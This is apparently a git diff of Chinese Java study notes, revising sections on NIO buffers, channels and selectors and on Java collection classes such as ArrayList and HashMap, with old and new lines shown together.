③ 以下图例为已经从输入通道读取了 5 个字节数据写入缓冲区中。在将缓冲区的数据写到输出通道之前,需要先调用 flip() 方法,这个方法将 limit 设置为当前 position,并将 position 设置为 0。
|
||||
|
||||
<div align="center"> <img src="../pics//952e06bd-5a65-4cab-82e4-dd1536462f38.png"/> </div><br>
|
||||
|
||||
4\. 从缓冲区中取 4 个字节到输出缓冲中,此时 position 设为 4。
|
||||
④ 从缓冲区中取 4 个字节到输出缓冲中,此时 position 设为 4。
|
||||
|
||||
<div align="center"> <img src="../pics//b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png"/> </div><br>
|
||||
|
||||
5\. 最后需要调用 clear() 方法来清空缓冲区,此时 position 和 limit 都被设置为最初位置。
|
||||
⑤ 最后需要调用 clear() 方法来清空缓冲区,此时 position 和 limit 都被设置为最初位置。
|
||||
|
||||
<div align="center"> <img src="../pics//67bf5487-c45d-49b6-b9c0-a058d8c68902.png"/> </div><br>
|
||||
|
||||
## 4. 读写文件实例
|
||||
## 文件 NIO 实例
|
||||
|
||||
1\. 为要读取的文件创建 FileInputStream,之后通过 FileInputStream 获取输入 FileChannel;
|
||||
① 为要读取的文件创建 FileInputStream,之后通过 FileInputStream 获取输入 FileChannel;
|
||||
|
||||
```java
|
||||
FileInputStream fin = new FileInputStream("readandshow.txt");
|
||||
FileChannel fic = fin.getChannel();
|
||||
```
|
||||
|
||||
2\. 创建一个容量为 1024 的 Buffer
|
||||
② 创建一个容量为 1024 的 Buffer;
|
||||
|
||||
```java
|
||||
ByteBuffer buffer = ByteBuffer.allocate(1024);
|
||||
```
|
||||
|
||||
3\. 将数据从输入 FileChannel 写入到 Buffer 中,如果没有数据的话, read() 方法会返回 -1
|
||||
③ 将数据从输入 FileChannel 写入到 Buffer 中,如果没有数据的话,read() 方法会返回 -1;
|
||||
|
||||
```java
|
||||
int r = fcin.read(buffer);
|
||||
@ -250,56 +243,36 @@ if (r == -1) {
|
||||
}
|
||||
```
|
||||
|
||||
4\. 为要写入的文件创建 FileOutputStream,之后通过 FileOutputStream 获取输出 FileChannel
|
||||
④ 为要写入的文件创建 FileOutputStream,之后通过 FileOutputStream 获取输出 FileChannel
|
||||
|
||||
```java
|
||||
FileOutputStream fout = new FileOutputStream("writesomebytes.txt");
|
||||
FileChannel foc = fout.getChannel();
|
||||
```
|
||||
|
||||
5\. 调用 flip() 切换读写
|
||||
⑤ 调用 flip() 切换读写
|
||||
|
||||
```java
|
||||
buffer.flip();
|
||||
```
|
||||
|
||||
6\. 把 Buffer 中的数据读取到输出 FileChannel 中
|
||||
⑥ 把 Buffer 中的数据读取到输出 FileChannel 中
|
||||
|
||||
```java
|
||||
foc.write(buffer);
|
||||
```
|
||||
|
||||
7\. 最后调用 clear() 重置缓冲区
|
||||
⑦ 最后调用 clear() 重置缓冲区
|
||||
|
||||
```java
|
||||
buffer.clear();
|
||||
```
|
||||
|
||||
## 5. 阻塞与非阻塞
|
||||
## 套接字 NIO 实例
|
||||
|
||||
应当注意,FileChannel 不能切换到非阻塞模式,套接字 Channel 可以。
|
||||
### 1. ServerSocketChannel
|
||||
|
||||
### 5.1 阻塞式 I/O
|
||||
|
||||
阻塞式 I/O 在调用 InputStream.read() 方法时会一直等到数据到来时(或超时)才会返回,在调用 ServerSocket.accept() 方法时,也会一直阻塞到有客户端连接才会返回,每个客户端连接过来后,服务端都会启动一个线程去处理该客户端的请求。
|
||||
|
||||
<div align="center"> <img src="../pics//edc23f99-c46c-4200-b64e-07516828720d.jpg"/> </div><br>
|
||||
|
||||
### 5.2 非阻塞式 I/O
|
||||
|
||||
由一个专门的线程来处理所有的 I/O 事件,并负责分发。
|
||||
|
||||
事件驱动机制:事件到的时候触发,而不是同步的去监视事件。
|
||||
|
||||
线程通信:线程之间通过 wait()、notify() 等方式通信,保证每次上下文切换都是有意义的,减少无谓的线程切换。
|
||||
|
||||
<div align="center"> <img src="../pics//7fcb2fb0-2cd9-4396-bc2d-282becf963c3.jpg"/> </div><br>
|
||||
|
||||
## 6. 套接字实例
|
||||
|
||||
### 6.1 ServerSocketChannel
|
||||
|
||||
每一个端口都需要有一个 ServerSocketChannel 用来监听连接。
|
||||
每一个监听端口都需要有一个 ServerSocketChannel 用来监听连接。
|
||||
|
||||
```java
|
||||
ServerSocketChannel ssc = ServerSocketChannel.open();
|
||||
@ -310,11 +283,11 @@ InetSocketAddress address = new InetSocketAddress(ports[i]);
|
||||
ss.bind(address); // 绑定端口号
|
||||
```
|
||||
|
||||
### 6.2 Selectors
|
||||
### 2. Selectors
|
||||
|
||||
异步 I/O 通过 Selector 注册对特定 I/O 事件的兴趣 ― 可读的数据的到达、新的套接字连接等等,在发生这样的事件时,系统将会发送通知。
|
||||
|
||||
创建 Selectors 之后,就可以对不同的通道对象调用 register() 方法。register() 的第一个参数总是这个 Selector。第二个参数是 OP_ACCEPT,这里它指定我们想要监听 accept 事件,也就是在新的连接建立时所发生的事件。
|
||||
创建 Selectors 之后,就可以对不同的通道对象调用 register() 方法。register() 的第一个参数总是这个 Selector。第二个参数是 OP_ACCEPT,这里它指定我们想要监听 ACCEPT 事件,也就是在新的连接建立时所发生的事件。
|
||||
|
||||
SelectionKey 代表这个通道在此 Selector 上的这个注册。当某个 Selector 通知您某个传入事件时,它是通过提供对应于该事件的 SelectionKey 来进行的。SelectionKey 还可以用于取消通道的注册。
|
||||
|
||||
@ -323,27 +296,27 @@ Selector selector = Selector.open();
|
||||
SelectionKey key = ssc.register(selector, SelectionKey.OP_ACCEPT);
|
||||
```
|
||||
|
||||
### 6.3 主循环
|
||||
### 3. 主循环
|
||||
|
||||
首先,我们调用 Selector 的 select() 方法。这个方法会阻塞,直到至少有一个已注册的事件发生。当一个或者更多的事件发生时, select() 方法将返回所发生的事件的数量。
|
||||
首先,我们调用 Selector 的 select() 方法。这个方法会阻塞,直到至少有一个已注册的事件发生。当一个或者更多的事件发生时,select() 方法将返回所发生的事件的数量。
|
||||
|
||||
接下来,我们调用 Selector 的 selectedKeys() 方法,它返回发生了事件的 SelectionKey 对象的一个 集合 。
|
||||
接下来,我们调用 Selector 的 selectedKeys() 方法,它返回发生了事件的 SelectionKey 对象的一个集合。
|
||||
|
||||
我们通过迭代 SelectionKeys 并依次处理每个 SelectionKey 来处理事件。对于每一个 SelectionKey,您必须确定发生的是什么 I/O 事件,以及这个事件影响哪些 I/O 对象。
|
||||
|
||||
```java
|
||||
int num = selector.select();
|
||||
|
||||
|
||||
Set selectedKeys = selector.selectedKeys();
|
||||
Iterator it = selectedKeys.iterator();
|
||||
|
||||
|
||||
while (it.hasNext()) {
|
||||
SelectionKey key = (SelectionKey)it.next();
|
||||
// ... deal with I/O event ...
|
||||
}
|
||||
```
|
||||
|
||||
### 6.4 监听新连接
|
||||
### 4. 监听新连接
|
||||
|
||||
程序执行到这里,我们仅注册了 ServerSocketChannel,并且仅注册它们“接收”事件。为确认这一点,我们对 SelectionKey 调用 readyOps() 方法,并检查发生了什么类型的事件:
|
||||
|
||||
@ -355,9 +328,9 @@ if ((key.readyOps() & SelectionKey.OP_ACCEPT)
|
||||
}
|
||||
```
|
||||
|
||||
可以肯定地说, readOps() 方法告诉我们该事件是新的连接。
|
||||
可以肯定地说,readOps() 方法告诉我们该事件是新的连接。
|
||||
|
||||
### 6.5 接受新的连接
|
||||
### 5. 接受新的连接
|
||||
|
||||
因为我们知道这个服务器套接字上有一个传入连接在等待,所以可以安全地接受它;也就是说,不用担心 accept() 操作会阻塞:
|
||||
|
||||
@ -366,16 +339,16 @@ ServerSocketChannel ssc = (ServerSocketChannel)key.channel();
|
||||
SocketChannel sc = ssc.accept();
|
||||
```
|
||||
|
||||
下一步是将新连接的 SocketChannel 配置为非阻塞的。而且由于接受这个连接的目的是为了读取来自套接字的数据,所以我们还必须将 SocketChannel 注册到 Selector上,如下所示:
|
||||
下一步是将新连接的 SocketChannel 配置为非阻塞的。而且由于接受这个连接的目的是为了读取来自套接字的数据,所以我们还必须将 SocketChannel 注册到 Selector 上,如下所示:
|
||||
|
||||
```java
|
||||
sc.configureBlocking( false );
|
||||
SelectionKey newKey = sc.register( selector, SelectionKey.OP_READ );
|
||||
sc.configureBlocking(false);
|
||||
SelectionKey newKey = sc.register(selector, SelectionKey.OP_READ);
|
||||
```
|
||||
|
||||
注意我们使用 register() 的 OP_READ 参数,将 SocketChannel 注册用于 读取 而不是 接受 新连接。
|
||||
注意我们使用 register() 的 OP_READ 参数,将 SocketChannel 注册用于读取而不是接受新连接。
|
||||
|
||||
### 6.6 删除处理过的 SelectionKey
|
||||
### 6. 删除处理过的 SelectionKey
|
||||
|
||||
在处理 SelectionKey 之后,我们几乎可以返回主循环了。但是我们必须首先将处理过的 SelectionKey 从选定的键集合中删除。如果我们没有删除处理过的键,那么它仍然会在主集合中以一个激活的键出现,这会导致我们尝试再次处理它。我们调用迭代器的 remove() 方法来删除处理过的 SelectionKey:
|
||||
|
||||
@ -383,9 +356,9 @@ SelectionKey newKey = sc.register( selector, SelectionKey.OP_READ );
|
||||
it.remove();
|
||||
```
|
||||
|
||||
现在我们可以返回主循环并接受从一个套接字中传入的数据(或者一个传入的 I/O 事件)了。
|
||||
现在我们可以返回主循环并接受从一个套接字中传入的数据 (或者一个传入的 I/O 事件) 了。
|
||||
|
||||
### 6.7 传入的 I/O
|
||||
### 7. 传入的 I/O
|
||||
|
||||
当来自一个套接字的数据到达时,它会触发一个 I/O 事件。这会导致在主循环中调用 Selector.select(),并返回一个或者多个 I/O 事件。这一次, SelectionKey 将被标记为 OP_READ 事件,如下所示:
|
||||
|
||||
@ -398,10 +371,34 @@ it.remove();
|
||||
}
|
||||
```
|
||||
|
||||
## 内存映射文件
|
||||
|
||||
# 参考资料
|
||||
内存映射文件 I/O 是一种读和写文件数据的方法,它可以比常规的基于流或者基于通道的 I/O 快得多。
|
||||
|
||||
- Eckel B, 埃克尔 , 昊鹏 , 等 . Java 编程思想 [M]. 机械工业出版社 , 2002.
|
||||
只有文件中实际读取或者写入的部分才会映射到内存中。
|
||||
|
||||
现代操作系统一般会根据需要将文件的部分映射为内存的部分,从而实现文件系统。Java 内存映射机制只不过是在底层操作系统中可以采用这种机制时,提供了对该机制的访问。
|
||||
|
||||
向内存映射文件写入可能是危险的,仅只是改变数组的单个元素这样的简单操作,就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
|
||||
|
||||
下面代码行将文件的前 1024 个字节映射到内存中,map() 方法返回一个 MappedByteBuffer,它是 ByteBuffer 的子类。因此,您可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区,操作系统会在需要时负责执行映射。
|
||||
|
||||
```java
|
||||
MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
|
||||
```
|
||||
|
||||
## 对比
|
||||
|
||||
NIO 与普通 I/O 的区别主要有以下两点:
|
||||
|
||||
- NIO 是非阻塞的。应当注意,FileChannel 不能切换到非阻塞模式,套接字 Channel 可以。
|
||||
- NIO 面向块,I/O 面向流。
|
||||
|
||||
# 八、参考资料
|
||||
|
||||
- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
|
||||
- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
|
||||
- [ 深入分析 Java I/O 的工作机制 ](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
|
||||
- [NIO 与传统 IO 的区别 ](http://blog.csdn.net/shimiso/article/details/24990499)
|
||||
- [深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
|
||||
- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
|
||||
- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
|
||||
- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
|
||||
|
1019
notes/Java 基础.md
705
notes/Java 容器.md
@ -1,139 +1,140 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [概览](#概览)
|
||||
* [1. List](#1-list)
|
||||
* [2. Set](#2-set)
|
||||
* [3. Queue](#3-queue)
|
||||
* [4. Map](#4-map)
|
||||
* [5. Java 1.0/1.1 容器](#5-java-1011-容器)
|
||||
* [容器中的设计模式](#容器中的设计模式)
|
||||
* [1. 迭代器模式](#1-迭代器模式)
|
||||
* [2. 适配器模式](#2-适配器模式)
|
||||
* [散列](#散列)
|
||||
* [源码分析](#源码分析)
|
||||
* [1. ArraList](#1-arralist)
|
||||
* [2. Vector 与 Stack](#2-vector-与-stack)
|
||||
* [3. LinkedList](#3-linkedlist)
|
||||
* [4. TreeMap](#4-treemap)
|
||||
* [5. HashMap](#5-hashmap)
|
||||
* [6. LinkedHashMap](#6-linkedhashmap)
|
||||
* [7. ConcurrentHashMap](#7-concurrenthashmap)
|
||||
* [一、概览](#一概览)
|
||||
* [Collection](#collection)
|
||||
* [Map](#map)
|
||||
* [二、容器中的设计模式](#二容器中的设计模式)
|
||||
* [迭代器模式](#迭代器模式)
|
||||
* [适配器模式](#适配器模式)
|
||||
* [三、源码分析](#三源码分析)
|
||||
* [ArrayList](#arraylist)
|
||||
* [Vector](#vector)
|
||||
* [LinkedList](#linkedlist)
|
||||
* [TreeMap](#treemap)
|
||||
* [HashMap](#hashmap)
|
||||
* [LinkedHashMap](#linkedhashmap)
|
||||
* [ConcurrentHashMap - JDK 1.7](#concurrenthashmap---jdk-17)
|
||||
* [ConcurrentHashMap - JDK 1.8](#concurrenthashmap---jdk-18)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 概览
|
||||
|
||||
<div align="center"> <img src="../pics//ebf03f56-f957-4435-9f8f-0f605661484d.jpg"/> </div><br>
|
||||
# 一、概览
|
||||
|
||||
容器主要包括 Collection 和 Map 两种,Collection 又包含了 List、Set 以及 Queue。
|
||||
|
||||
## 1. List
|
||||
## Collection
|
||||
|
||||
<div align="center"> <img src="../pics//java-collections.png"/> </div><br>
|
||||
|
||||
### 1. Set
|
||||
|
||||
- HashSet:基于哈希实现,支持快速查找,但不支持有序性操作,例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息,也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
|
||||
|
||||
- TreeSet:基于红黑树实现,支持有序性操作,但是查找效率不如 HashSet,HashSet 查找时间复杂度为 O(1),TreeSet 则为 O(logN);
|
||||
|
||||
- LinkedHashSet:具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。
|
||||
|
||||
### 2. List
|
||||
|
||||
- ArrayList:基于动态数组实现,支持随机访问;
|
||||
|
||||
- Vector:和 ArrayList 类似,但它是线程安全的;
|
||||
|
||||
- LinkedList:基于双向循环链表实现,只能顺序访问,但是可以快速地在链表中间插入和删除元素。不仅如此,LinkedList 还可以用作栈、队列和双端队列。
|
||||
|
||||
## 2. Set
|
||||
### 3. Queue
|
||||
|
||||
- HashSet:基于 Hash 实现,支持快速查找,但是失去有序性;
|
||||
- LinkedList:可以用它来支持双向队列;
|
||||
|
||||
- TreeSet:基于红黑树实现,保持有序,但是查找效率不如 HashSet;
|
||||
- PriorityQueue:基于堆结构实现,可以用它来实现优先级队列。
|
||||
|
||||
- LinkedHashSet:具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序,因此具有有序性。
|
||||
## Map
|
||||
|
||||
## 3. Queue
|
||||
<div align="center"> <img src="../pics//java-collections1.png"/> </div><br>
|
||||
|
||||
只有两个实现:LinkedList 和 PriorityQueue,其中 LinkedList 支持双向队列,PriorityQueue 是基于堆结构实现。
|
||||
- HashMap:基于哈希实现;
|
||||
|
||||
## 4. Map
|
||||
- HashTable:和 HashMap 类似,但它是线程安全的,这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类,不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全,并且 ConcurrentHashMap 的效率会更高,因为 ConcurrentHashMap 引入了分段锁。
|
||||
|
||||
- HashMap:基于 Hash 实现
|
||||
- LinkedHashMap:使用链表来维护元素的顺序,顺序为插入顺序或者最近最少使用(LRU)顺序。
|
||||
|
||||
- LinkedHashMap:使用链表来维护元素的顺序,顺序为插入顺序或者最近最少使用(LRU)顺序
|
||||
- TreeMap:基于红黑树实现。
|
||||
|
||||
- TreeMap:基于红黑树实现
|
||||
# 二、容器中的设计模式
|
||||
|
||||
- ConcurrentHashMap:线程安全 Map,不涉及类似于 HashTable 的同步加锁
|
||||
## 迭代器模式
|
||||
|
||||
## 5. Java 1.0/1.1 容器
|
||||
<div align="center"> <img src="../pics//Iterator-1.jpg"/> </div><br>
|
||||
|
||||
对于旧的容器,我们决不应该使用它们,只需要对它们进行了解。
|
||||
Collection 实现了 Iterable 接口,其中的 iterator() 方法能够产生一个 Iterator 对象,通过这个对象就可以迭代遍历 Collection 中的元素。
|
||||
|
||||
- Vector:和 ArrayList 类似,但它是线程安全的
|
||||
从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象。
|
||||
|
||||
- HashTable:和 HashMap 类似,但它是线程安全的
|
||||
```java
|
||||
List<String> list = new ArrayList<>();
|
||||
list.add("a");
|
||||
list.add("b");
|
||||
for (String item : list) {
|
||||
System.out.println(item);
|
||||
}
|
||||
```
|
||||
|
||||
# 容器中的设计模式
|
||||
|
||||
## 1. 迭代器模式
|
||||
|
||||
从概览图可以看到,每个集合类都有一个 Iterator 对象,可以通过这个迭代器对象来遍历集合中的元素。
|
||||
|
||||
[Java 中的迭代器模式 ](https://github.com/CyC2018/InterviewNotes/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#92-java-%E5%86%85%E7%BD%AE%E7%9A%84%E8%BF%AD%E4%BB%A3%E5%99%A8)
|
||||
|
||||
## 2. 适配器模式
|
||||
## 适配器模式
|
||||
|
||||
java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
|
||||
|
||||
```java
|
||||
List list = Arrays.asList(1, 2, 3);
|
||||
int[] arr = {1, 2, 3};
|
||||
list = Arrays.asList(arr);
|
||||
@SafeVarargs
|
||||
public static <T> List<T> asList(T... a)
|
||||
```
|
||||
|
||||
# 散列
|
||||
如果要将数组类型转换为 List 类型,应该注意的是 asList() 的参数为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
|
||||
|
||||
使用 hasCode() 来返回散列值,使用的是对象的地址。
|
||||
```java
|
||||
Integer[] arr = {1, 2, 3};
|
||||
List list = Arrays.asList(arr);
|
||||
```
|
||||
|
||||
而 equals() 是用来判断两个对象是否相等的,相等的两个对象散列值一定要相同,但是散列值相同的两个对象不一定相等。
|
||||
也可以使用以下方式生成 List。
|
||||
|
||||
相等必须满足以下五个性质:
|
||||
```java
|
||||
List list = Arrays.asList(1,2,3);
|
||||
```
|
||||
|
||||
1. 自反性
|
||||
2. 对称性
|
||||
3. 传递性
|
||||
4. 一致性(多次调用 x.equals(y),结果不变)
|
||||
5. 对任何不是 null 的对象 x 调用 x.equals(nul) 结果都为 false
|
||||
# 三、源码分析
|
||||
|
||||
# 源码分析
|
||||
建议先阅读 [算法-查找](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E7%AE%97%E6%B3%95.md#%E6%9F%A5%E6%89%BE) 部分,对容器类源码的理解有很大帮助。
|
||||
|
||||
建议先阅读 [ 算法 - 查找 ](https://github.com/CyC2018/InterviewNotes/blob/master/notes/%E7%AE%97%E6%B3%95.md#%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%9F%A5%E6%89%BE) 部分,对集合类源码的理解有很大帮助。
|
||||
至于 ConcurrentHashMap 的理解,需要有并发方面的知识,建议先阅读:[Java 并发](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/Java%20%E5%B9%B6%E5%8F%91.md)
|
||||
|
||||
源码下载:[OpenJDK 1.7](http://download.java.net/openjdk/jdk7)
|
||||
以下源码从 JDK 1.8 提取而来,下载地址:[JDK-Source-Code](https://github.com/CyC2018/JDK-Source-Code)。
|
||||
|
||||
## 1. ArraList
|
||||
## ArrayList
|
||||
|
||||
[ArraList.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/ArrayList.java)
|
||||
|
||||
### 1. 概览
|
||||
|
||||
实现了 RandomAccess 接口,因此支持随机访问,这是理所当然的,因为 ArrayList 是基于数组实现的。
|
||||
|
||||
```java
|
||||
public class ArrayList<E> extends AbstractList<E>
|
||||
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
|
||||
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
|
||||
```
|
||||
|
||||
基于数组实现,保存元素的数组使用 transient 修饰,这是因为该数组不一定所有位置都占满元素,因此也就没必要全部都进行序列化。需要重写 writeObject() 和 readObject()。
|
||||
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明数组默认不会被序列化。ArrayList 具有动态扩容特性,因此保存元素的数组不一定都会被使用,那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
|
||||
|
||||
```java
|
||||
private transient Object[] elementData;
|
||||
transient Object[] elementData; // non-private to simplify nested class access
|
||||
```
|
||||
|
||||
数组的默认大小为 10
|
||||
数组的默认大小为 10。
|
||||
|
||||
```java
|
||||
public ArrayList(int initialCapacity) {
|
||||
super();
|
||||
if (initialCapacity < 0)
|
||||
throw new IllegalArgumentException("Illegal Capacity: "+ initialCapacity);
|
||||
this.elementData = new Object[initialCapacity];
|
||||
}
|
||||
|
||||
public ArrayList() {
|
||||
this(10);
|
||||
}
|
||||
private static final int DEFAULT_CAPACITY = 10;
|
||||
```
|
||||
|
||||
删除元素时调用 System.arraycopy() 对元素进行复制,因此删除操作成本很高,最好在创建时就指定大概的容量大小,减少复制操作的执行次数。
|
||||
删除元素时需要调用 System.arraycopy() 对元素进行复制,因此删除操作成本很高。
|
||||
|
||||
```java
|
||||
public E remove(int index) {
|
||||
@ -145,33 +146,23 @@ public E remove(int index) {
|
||||
int numMoved = size - index - 1;
|
||||
if (numMoved > 0)
|
||||
System.arraycopy(elementData, index+1, elementData, index, numMoved);
|
||||
elementData[--size] = null; // Let gc do its work
|
||||
elementData[--size] = null; // clear to let GC do its work
|
||||
|
||||
return oldValue;
|
||||
}
|
||||
```
|
||||
|
||||
添加元素时使用 ensureCapacity() 方法来保证容量足够,如果不够时,需要进行扩容,使得新容量为旧容量的 1.5 倍。
|
||||
|
||||
modCount 用来记录 ArrayList 结构发生变化的次数,因为每次在进行 add() 和 addAll() 时都需要调用 ensureCapacity(),因此直接在 ensureCapacity() 中对 modCount 进行修改。
|
||||
|
||||
结构发生变化:添加或者删除至少一个元素的所有操作,或者是调整内部数组的大小,仅仅只是设置元素的值不算结构发生变化。
|
||||
添加元素时使用 ensureCapacity() 方法来保证容量足够,如果不够时,需要使用 grow() 方法进行扩容,使得新容量为旧容量的 1.5 倍(oldCapacity + (oldCapacity >> 1))。扩容操作需要把原数组整个复制到新数组中,因此最好在创建 ArrayList 对象时就指定大概的容量大小,减少扩容操作的次数。
|
||||
|
||||
```java
|
||||
public void ensureCapacity(int minCapacity) {
|
||||
if (minCapacity > 0)
|
||||
ensureCapacityInternal(minCapacity);
|
||||
}
|
||||
|
||||
private void ensureCapacityInternal(int minCapacity) {
|
||||
private void ensureExplicitCapacity(int minCapacity) {
|
||||
modCount++;
|
||||
|
||||
// overflow-conscious code
|
||||
if (minCapacity - elementData.length > 0)
|
||||
grow(minCapacity);
|
||||
}
|
||||
|
||||
private static final int MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8;
|
||||
|
||||
private void grow(int minCapacity) {
|
||||
// overflow-conscious code
|
||||
int oldCapacity = elementData.length;
|
||||
@ -183,16 +174,12 @@ private void grow(int minCapacity) {
|
||||
// minCapacity is usually close to size, so this is a win:
|
||||
elementData = Arrays.copyOf(elementData, newCapacity);
|
||||
}
|
||||
|
||||
private static int hugeCapacity(int minCapacity) {
|
||||
if (minCapacity < 0) // overflow
|
||||
throw new OutOfMemoryError();
|
||||
return (minCapacity > MAX_ARRAY_SIZE) ?
|
||||
Integer.MAX_VALUE :
|
||||
MAX_ARRAY_SIZE;
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Fail-Fast
|
||||
|
||||
modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作,或者是调整内部数组的大小,仅仅只是设置元素的值不算结构发生变化。
|
||||
|
||||
在进行序列化或者迭代等操作时,需要比较操作前后 modCount 是否改变,如果改变了需要抛出 ConcurrentModificationException。
|
||||
|
||||
```java
|
||||
@ -202,56 +189,146 @@ private void writeObject(java.io.ObjectOutputStream s)
|
||||
int expectedModCount = modCount;
|
||||
s.defaultWriteObject();
|
||||
|
||||
// Write out array length
|
||||
s.writeInt(elementData.length);
|
||||
// Write out size as capacity for behavioural compatibility with clone()
|
||||
s.writeInt(size);
|
||||
|
||||
// Write out all elements in the proper order.
|
||||
for (int i=0; i<size; i++)
|
||||
for (int i=0; i<size; i++) {
|
||||
s.writeObject(elementData[i]);
|
||||
}
|
||||
|
||||
if (modCount != expectedModCount) {
|
||||
throw new ConcurrentModificationException();
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
**和 Vector 的区别**
|
||||
### 3. 和 Vector 的区别
|
||||
|
||||
1. Vector 和 ArrayList 几乎是完全相同的,唯一的区别在于 Vector 是同步的,因此开销就比 ArrayList 要大,访问要慢。最好使用 ArrayList 而不是 Vector,因为同步完全可以由程序员自己来控制;
|
||||
2. Vector 每次扩容请求其大小的 2 倍空间,而 ArrayList 是 1.5 倍。
|
||||
- Vector 和 ArrayList 几乎是完全相同的,唯一的区别在于 Vector 是同步的,因此开销就比 ArrayList 要大,访问速度更慢。最好使用 ArrayList 而不是 Vector,因为同步操作完全可以由程序员自己来控制;
|
||||
- Vector 每次扩容请求其大小的 2 倍空间,而 ArrayList 是 1.5 倍。
|
||||
|
||||
为了使用线程安全的 ArrayList,可以使用 Collections.synchronizedList(new ArrayList<>()); 返回一个线程安全的 ArrayList,也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类;
|
||||
为了获得线程安全的 ArrayList,可以调用 Collections.synchronizedList(new ArrayList<>()); 返回一个线程安全的 ArrayList,也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类;
|
||||
|
||||
**和 LinkedList 的区别**
|
||||
### 4. 和 LinkedList 的区别
|
||||
|
||||
1. ArrayList 基于动态数组实现,LinkedList 基于双向循环链表实现;
|
||||
2. ArrayList 支持随机访问,LinkedList 不支持;
|
||||
3. LinkedList 在任意位置添加删除元素更快。
|
||||
- ArrayList 基于动态数组实现,LinkedList 基于双向循环链表实现;
|
||||
- ArrayList 支持随机访问,LinkedList 不支持;
|
||||
- LinkedList 在任意位置添加删除元素更快。
|
||||
|
||||
## 2. Vector 与 Stack
|
||||
## Vector
|
||||
|
||||
[Vector.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/Vector.java)
|
||||
|
||||
## 3. LinkedList
|
||||
## LinkedList
|
||||
|
||||
[LinkedList.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/LinkedList.java)
|
||||
|
||||
## 4. TreeMap
|
||||
## TreeMap
|
||||
|
||||
[TreeMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/TreeMap.java)
|
||||
|
||||
## 5. HashMap
|
||||
## HashMap
|
||||
|
||||
[HashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java)
|
||||
|
||||
使用拉链法来解决冲突。
|
||||
### 1. 存储结构
|
||||
|
||||
默认容量 capacity 为 16,需要注意的是容量必须保证为 2 的次方。容量就是 Entry[] table 数组的长度,size 是数组的实际使用量。
|
||||
使用拉链法来解决冲突,内部包含了一个 Entry 类型的数组 table,数组中的每个位置被当成一个桶。
|
||||
|
||||
threshold 规定了一个 size 的临界值,size 必须小于 threshold,如果大于等于,就必须进行扩容操作。
|
||||
```java
|
||||
transient Entry[] table;
|
||||
```
|
||||
|
||||
threshold = capacity * load_factor,其中 load_factor 为 table 数组能够使用的比例,load_factor 过大会导致聚簇的出现,从而影响查询和插入的效率,详见算法笔记。
|
||||
其中,Entry 就是存储数据的键值对,它包含了四个字段。从 next 字段我们可以看出 Entry 是一个链表,即每个桶会存放一个链表。
|
||||
|
||||
<div align="center"> <img src="../pics//8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
|
||||
|
||||
JDK 1.8 使用 Node 类型存储一个键值对,它依然继承自 Entry,因此可以按照上面的存储结构来理解。
|
||||
|
||||
```java
|
||||
static class Node<K,V> implements Map.Entry<K,V> {
|
||||
final int hash;
|
||||
final K key;
|
||||
V value;
|
||||
Node<K,V> next;
|
||||
|
||||
Node(int hash, K key, V value, Node<K,V> next) {
|
||||
this.hash = hash;
|
||||
this.key = key;
|
||||
this.value = value;
|
||||
this.next = next;
|
||||
}
|
||||
|
||||
public final K getKey() { return key; }
|
||||
public final V getValue() { return value; }
|
||||
public final String toString() { return key + "=" + value; }
|
||||
|
||||
public final int hashCode() {
|
||||
return Objects.hashCode(key) ^ Objects.hashCode(value);
|
||||
}
|
||||
|
||||
public final V setValue(V newValue) {
|
||||
V oldValue = value;
|
||||
value = newValue;
|
||||
return oldValue;
|
||||
}
|
||||
|
||||
public final boolean equals(Object o) {
|
||||
if (o == this)
|
||||
return true;
|
||||
if (o instanceof Map.Entry) {
|
||||
Map.Entry<?,?> e = (Map.Entry<?,?>)o;
|
||||
if (Objects.equals(key, e.getKey()) &&
|
||||
Objects.equals(value, e.getValue()))
|
||||
return true;
|
